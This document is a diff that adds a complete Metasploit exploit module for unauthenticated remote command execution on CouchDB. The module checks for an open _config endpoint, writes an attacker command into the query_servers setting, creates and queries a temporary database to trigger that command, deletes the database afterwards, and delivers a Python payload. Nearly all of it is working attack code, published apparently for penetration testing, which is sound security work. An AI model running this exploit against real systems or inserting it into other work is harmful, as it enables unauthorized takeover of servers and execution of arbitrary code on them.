Move #6900 into unstable

modules/exploits/multi/http/couchdb_unauth_exec.rb

@@ -0,0 +1,162 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'CouchDB Unauthentication Remote Command Execution',
+      'Description'    => %q{
+        This module exploits a misconfiguration in CouchDB. If CouchDB api
+        without authentication, attackers can execute os commands with
+        the query_servers option in local.ini.
+      },
+      'Author'         => [
+        'Nixawk', # original metasploit module
+       ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'URL', 'http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ],
+          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ],
+          [ 'URL', 'http://docs.couchdb.org/en/1.6.1/api/server/configuration.html' ]
+        ],
+      'Platform'       => %w{ python },
+      'Targets'        =>
+        [
+          [ 'Python',  { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' }]
+        ],
+      'DisclosureDate' => 'Nov 23 2010',
+      'DefaultTarget'  => 0
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(5984),
+        OptString.new('TARGETURI', [ true, 'The path to a default couchDB api', '/'])
+      ], self.class)
+  end
+
+  def unauth?
+    uri = normalize_uri(datastore['TARGETURI'], '_config')
+    resp = send_request_cgi(
+      'uri'     =>  uri,
+      'method'  => 'GET'
+    )
+    return false unless resp
+    json_data = resp.get_json_document
+    return false if json_data.empty?
+    resp.code == 200 && json_data.key?('couchdb')
+  end
+
+  def config_query_servers?(cmd)
+    uri = normalize_uri(datastore['TARGETURI'], "_config/query_servers/#{@key}")
+    resp = send_request_cgi(
+      'uri'     =>  uri,
+      'method'  => 'PUT',
+      'data'    => "\"#{cmd}\""
+    )
+    return false unless resp
+    resp.code == 200 && resp.body.include?("\"\"\n")
+  end
+
+  def create_database?
+    uri = normalize_uri(datastore['TARGETURI'], @dbname)
+    resp = send_request_cgi(
+      'uri'     =>  uri,
+      'method'  => 'PUT'
+    )
+    return false unless resp
+    json_data = resp.get_json_document
+    return false if json_data.empty?
+    resp.code == 201 && json_data.key?('ok') && json_data['ok']
+  end
+
+  def create_database_key_value?
+    data = "{\"#{@key}\": \"#{@value}\"}"
+    uri = normalize_uri(datastore['TARGETURI'], @dbname, @key)
+    resp = send_request_cgi(
+      'uri'     =>  uri,
+      'method'  => 'PUT',
+      'data'    => data
+    )
+    return false unless resp
+    json_data = resp.get_json_document
+    return false if json_data.empty?
+    resp.code == 201 && json_data.key?('ok') && json_data['ok']
+  end
+
+  def query_database?
+    uri = normalize_uri(datastore['TARGETURI'], @dbname, '_temp_view?limit=11')
+    data = "{\"language\":\"#{@key}\",\"map\":\"\"}"
+    resp = send_request_cgi(
+      'uri'     =>  uri,
+      'method'  => 'POST',
+      'ctype'   => 'application/json',
+      'data'    => data
+    )
+    return false unless resp
+    json_data = resp.get_json_document
+    return false if json_data.empty?
+    resp.code == 500 && json_data.key?('error')
+  end
+
+  def delete_database?
+    uri = normalize_uri(datastore['TARGETURI'], @dbname)
+    resp = send_request_cgi(
+      'uri'     =>  uri,
+      'method'  => 'DELETE'
+    )
+    return false unless resp
+    json_data = resp.get_json_document
+    return false if json_data.empty?
+    resp.code == 200 && json_data.key?('ok') && json_data['ok']
+  end
+
+  def execute_command(cmd, opts = {})
+    @dbname = rand_text_alpha_lower(16)
+    @key = rand_text_alpha_lower(16)
+    @value = rand_text_alpha_lower(16)
+
+    vprint_status("#{peer} - config query_servers to add commands")
+    return unless config_query_servers?(cmd)
+
+    vprint_status("#{peer} - create a databse")
+    return unless create_database?
+
+    vprint_status("#{peer} - create a database key/value pair")
+    return unless create_database_key_value?
+
+    vprint_status("#{peer} - query database to execute command")
+    query_database?
+
+    vprint_status("#{peer} - delete database")
+    delete_database?
+  end
+
+  def check
+    if unauth?
+      Exploit::CheckCode::Appears
+    else
+      Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    return unless unauth?
+
+    case target['Platform']
+    when 'python'
+      print_status("#{peer} - Sending python payload...")
+      execute_command("python -c \\\"#{payload.encoded}\\\"")
+    end
+  end
+end